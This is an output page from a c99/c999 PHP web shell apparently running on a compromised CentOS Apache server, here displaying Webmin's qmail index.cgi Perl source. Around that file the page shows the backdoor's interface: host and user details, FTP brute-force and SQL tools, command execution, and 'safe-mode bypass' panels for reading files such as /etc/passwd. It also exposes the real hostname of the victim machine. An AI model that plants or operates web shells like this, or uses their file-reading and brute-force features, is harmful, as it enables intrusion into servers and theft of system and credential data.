!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/qmailadmin/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.cgi (2.32 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# index.cgi
# Display icons for various things that can be configured in qmail

require './qmail-lib.pl';

&ui_print_header(undef, $text{'index_title'}, "", undef, 1, 1, 0,
    &help_search_link("qmail", "man:$config{'qmail_dir'}/man", "google"));

# Check if qmail is installed
if (!-d $config{'qmail_dir'}) {
    print &text('index_edir', "<tt>$config{'qmail_dir'}</tt>",
          "$gconfig{'webprefix'}/config.cgi?$module_name"),"<p>\n";
    &ui_print_footer("/", $text{'index'});
    exit;
    }
if (!-d $qmail_alias_dir || !-d $qmail_bin_dir) {
    print &text('index_edir2', "<tt>$config{'qmail_dir'}</tt>",
          "$gconfig{'webprefix'}/config.cgi?$module_name"),"<p>\n";
    &ui_print_footer("/", $text{'index'});
    exit;
    }

@olinks = ( "list_opts.cgi", "list_aliases.cgi", "list_virts.cgi",
        "list_locals.cgi", "list_rcpts.cgi", "list_bads.cgi",
        "list_routes.cgi", "list_percents.cgi", "list_assigns.cgi",
        "list_queue.cgi",
        &foreign_available("mailboxes") ? ( "../mailboxes/" ) : ( ) );

if (!$config{'mailq_count'}) {
    @queue = &list_queue();
    }
@otitles = ( "$text{'opts_title'}<br>(control)</tt>",
         "$text{'aliases_title'}<br>(alias)",
         "$text{'virts_title'}<br>(virtualdomains)",
         "$text{'locals_title'}<br>(locals)",
         "$text{'rcpts_title'}<br>(rcpthosts)",
         "$text{'bads_title'}<br>(badmailfrom)",
         "$text{'routes_title'}<br>(smtproutes)",
         "$text{'percents_title'}<br>(percenthack)",
         "$text{'assigns_title'}<br>(assign)",
         scalar(@queue) ?
           "$text{'queue_title'}<br>".&text('queue_count', scalar(@queue)) :
           "$text{'queue_title'}<br>(qmail-qread)",
         $text{'boxes_title'} );

@oicons = ( "images/opts.gif", "images/aliases.gif", "images/virts.gif",
        "images/locals.gif", "images/rcpts.gif", "images/bads.gif",
        "images/routes.gif", "images/percents.gif", "images/assigns.gif",
        "images/queue.gif", "images/boxes.gif" );

&icons_table(\@olinks, \@otitles, \@oicons);

# Check if the qmail processes are running
print &ui_hr();
print &ui_buttons_start();
if (&is_qmail_running()) {
    print &ui_buttons_row("stop.cgi", $text{'index_stop'},
                  $text{'index_stopmsg'});
    }
else {
    print &ui_buttons_row("start.cgi", $text{'index_start'},
                  &text('index_startmsg',
                "<tt>$qmail_start_cmd</tt>"));
    }
print &ui_buttons_end();

&ui_print_footer("/", $text{'index'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0089 ]--